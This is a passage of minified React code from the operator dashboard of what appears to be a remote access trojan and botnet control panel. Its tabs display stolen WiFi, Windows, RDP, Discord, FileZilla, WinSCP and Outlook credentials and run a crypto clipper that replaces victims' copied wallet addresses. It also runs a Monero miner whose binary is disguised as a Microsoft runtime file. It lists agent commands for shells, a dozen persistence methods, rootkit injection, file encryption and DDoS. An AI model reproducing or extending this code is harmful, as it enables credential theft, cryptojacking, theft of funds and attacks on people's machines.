font-medium",children:C.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password||"(none)"})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(Tr,{title:"Windows Credentials",count:((T=i.windows_credentials)==null?void 0:T.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(E=i.windows_credentials)!=null&&E.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((C,D)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${C.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[C.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),C.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.username),children:C.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.type})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(Tr,{title:"Discord Tokens",count:((U=i.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(K=i.discord_tokens)!=null&&K.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:()=>v(C.token),children:[C.token.slice(0,20),"..."]})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(Tr,{title:"Applications",count:((R=i.telegram)!=null&&R.found?1:0)+(((I=i.filezilla)==null?void 0:I.length)??0)+(((F=i.winscp)==null?void 0:F.length)??0)+(((B=i.putty)==null?void 0:B.length)??0)+(((V=i.outlook)==null?void 0:V.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("p",{className:"text-xs text-zerin-text font-mono",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:()=>v(i.telegram.path),children:i.telegram.path})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),((($=i.filezilla)==null?void 0:$.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[C.host,":",C.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})})]}),(((q=i.winscp)==null?void 0:q.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})})]}),(((Y=i.putty)==null?void 0:Y.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:C.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[C.host,":",C.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.user})]},D))})})]}),(((ie=i.outlook)==null?void 0:ie.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})})]}),!((ae=i.telegram)!=null&&ae.found)&&!((fe=i.filezilla)!=null&&fe.length)&&!((de=i.winscp)!=null&&de.length)&&!((G=i.putty)!=null&&G.length)&&!((te=i.outlook)!=null&&te.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),(((P=i.errors)==null?void 0:P.length)??0)>0&&s.jsx(Tr,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((C,D)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[C.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:C.error})]},D))})})]}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Tr({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const EU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],AU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function l2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function _U({agentId:e,agentStatus:t}){const[n,r]=p.useState({...AU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=l2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=l2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await ke(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await ke(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await ke(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:EU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const c2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function OU({agentId:e,agentStatus:t}){const[n,r]=p.useState(c2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,O)=>{h({text:z,type:O}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const O=await Tn(e),_=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,E)=>new Date(E.created_at).getTime()-new Date(T.created_at).getTime());if(_.length>0){const T=_[0],E=(O.results??[]).find(U=>U.task_id===T.id);if(E!=null&&E.output)try{const U=JSON.parse(E.output);g(U)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await ke(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await ke(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await ke(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await ke(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const O=Math.floor(z/3600),_=Math.floor(z%3600/60),T=Math.floor(z%60);return O>0?`${O}h ${_}m ${T}s`:_>0?`${_}m ${T}s`:`${T}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(ia,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(ia,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(ia,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(ia,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(ia,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(ia,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:c2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function ia({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const u2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],TU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},sp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function MU(){const{id:e}=Mo(),t=Qn(),[n,r]=nx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const M=n.get("tab");return M&&sp.includes(M)?M:"overview"}),[S,N]=p.useState(()=>{const M=n.get("tab"),ee=new Set(["overview"]);return M&&sp.includes(M)&&ee.add(M),ee}),[z,O]=p.useState(null),[_,T]=p.useState(!0),[E,U]=p.useState(!1),[K,R]=p.useState(null),[I,F]=p.useState(new Set),[B,V]=p.useState(()=>n.get("auto")==="1"),[$,q]=p.useState(null),[Y,ie]=p.useState(-1),[ae,fe]=p.useState(!1),de=p.useRef(null);p.useEffect(()=>{N(M=>{if(M.has(j))return M;const ee=new Set(M);return ee.add(j),ee})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const M=n.get("tab");M&&sp.includes(M)&&M!==j&&k(M)},[n]);const G=M=>{k(M),M==="overview"?n.delete("tab"):n.set("tab",M),r(n,{replace:!0})},te=p.useCallback(async()=>{if(e)try{const M=await xE(e);a(M),h("");try{const ee=await Tn(e);l(ee.tasks??[]),u(ee.results??[])}catch{l([]),u([])}}catch(M){a(null);const ee=M instanceof Error&&"status"in M?M.status:"network";h(M instanceof Error?`${M.message} (${ee})`:String(M))}finally{f(!1)}},[e]);p.useEffect(()=>{te();const M=setInterval(te,5e3);return()=>clearInterval(M)},[te]),p.useEffect(()=>{if(!e)return;let M=!0;const ee=async()=>{try{const X=await OE(e);M&&q(X)}catch{M&&q(null)}};ee();const W=setInterval(ee,3e3);return()=>{M=!1,clearInterval(W)}},[e]),p.useEffect(()=>{if(!z)return;const M=ee=>{ee.key==="Escape"&&O(null)};return window.addEventListener("keydown",M),()=>window.removeEventListener("keydown",M)},[z]);const P=p.useMemo(()=>[...o].sort((M,ee)=>new Date(M.created_at).getTime()-new Date(ee.created_at).getTime()),[o]),C=5e3,D=p.useMemo(()=>{var ee;const M=[];for(const W of P){const X=(ee=W.args)!=null&&ee.length?" "+W.args.join(" "):"";M.push({type:"command",content:`${W.command}${X}`,timestamp:W.created_at});const ne=c.find(H=>H.task_id===W.id);ne?(ne.error&&M.push({type:"error",content:ne.error,timestamp:ne.completed_at}),ne.output&&M.push({type:"output",content:ne.output,timestamp:ne.completed_at})):W.status==="queued"||W.status==="sent"?M.push({type:"system",content:`[${W.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):W.status==="timeout"&&M.push({type:"error",content:"[Task timed out]"})}if(M.length>C){const W=M.slice(M.length-C);return W.unshift({type:"system",content:`[Output truncated: showing last ${C.toLocaleString()} of ${M.length.toLocaleString()} lines]`}),W}return M},[P,c]),A=p.useMemo(()=>{const M=[];for(const ee of P){if(ee.command!=="screenshot")continue;const W=c.find(X=>X.task_id===ee.id);if(W!=null&&W.data){const X=_A(W.data)?AA(W.data):`data:image/png;base64,${W.data}`;M.push({taskId:ee.id,timestamp:W.completed_at,dataUrl:X})}}return M},[P,c]),Z=x?u2.filter(M=>M.startsWith(x.split(" 